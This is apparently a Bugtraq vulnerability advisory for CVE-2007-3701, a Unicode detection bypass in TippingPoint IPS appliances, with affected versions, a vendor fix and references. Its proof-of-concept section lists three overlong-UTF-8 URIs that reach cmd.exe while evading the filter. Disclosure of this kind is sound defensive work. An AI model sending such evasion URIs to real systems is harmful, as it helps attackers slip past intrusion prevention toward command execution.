TippingPoint IPS Unicode Character Detection Bypass Vulnerability
BID:24855
Info
TippingPoint IPS Unicode Character Detection Bypass Vulnerability
| Bugtraq ID: | 24855 |
| Class: | Input Validation Error |
| CVE: |
CVE-2007-3701 |
| Remote: | Yes |
| Local: | No |
| Published: | Jul 10 2007 12:00AM |
| Updated: | May 07 2015 05:37PM |
| Credit: | Security-Assessment is credited with discovering this vulnerability. |
| Vulnerable: |
TippingPoint ZPHA 0 TippingPoint X506 0 TippingPoint X505 0 TippingPoint SMS 0 TippingPoint 600E 0 TippingPoint 5000E 0 TippingPoint 50 0 TippingPoint 400 0 TippingPoint 2400E 0 TippingPoint 200E 0 TippingPoint 200 0 TippingPoint 1200E 0 TippingPoint 1200 0 3Com TippingPoint IPS TOS 2.5.1 3Com TippingPoint IPS TOS 2.5 3Com TippingPoint IPS TOS 2.2.4 3Com TippingPoint IPS TOS 2.2.3 3Com TippingPoint IPS TOS 2.2.2 3Com TippingPoint IPS TOS 2.2.1 .6506 3Com TippingPoint IPS TOS 2.2.1 3Com TippingPoint IPS TOS 2.2 3Com TippingPoint IPS TOS 2.1.4 .6324 3Com TippingPoint IPS TOS 2.1 3Com TippingPoint IPS TOS 0 3Com TippingPoint IPS 0 |
| Not Vulnerable: |
3Com TippingPoint IPS TOS 2.5.2 3Com TippingPoint IPS TOS 2.2.5 |
Discussion
TippingPoint IPS Unicode Character Detection Bypass Vulnerability
TippingPoint IPS is prone to a detection-bypass vulnerability because the appliance fails to properly handle Unicode characters.
A successful exploit of this issue may allow an attacker to bypass the filter and detection system of vulnerable appliances, allowing malicious URI traffic through. This will likely aid the attacker in further attacks.
TippingPoint IPS is prone to a detection-bypass vulnerability because the appliance fails to properly handle Unicode characters.
A successful exploit of this issue may allow an attacker to bypass the filter and detection system of vulnerable appliances, allowing malicious URI traffic through. This will likely aid the attacker in further attacks.
Exploit / POC
TippingPoint IPS Unicode Character Detection Bypass Vulnerability
The following proof-of-concept URIs are available:
http://www.example.com/scripts%c0%afcmd.exe
http://www.example.com/scripts%e0%80%afcmd.exe
http://www.example.com/scripts%c1%9ccmd.exe
The following proof-of-concept URIs are available:
http://www.example.com/scripts%c0%afcmd.exe
http://www.example.com/scripts%e0%80%afcmd.exe
http://www.example.com/scripts%c1%9ccmd.exe
Solution / Fix
TippingPoint IPS Unicode Character Detection Bypass Vulnerability
Solution:
The vendor has released updates to address this issue. Please contact the vendor for details on obtaining and applying the appropriate updates.
Solution:
The vendor has released updates to address this issue. Please contact the vendor for details on obtaining and applying the appropriate updates.
References
TippingPoint IPS Unicode Character Detection Bypass Vulnerability
References:
References:
- TippingPoit IPS Homepage (TippingPoint)
- TippingPoint IPS Signature Evasion (Paul Craig)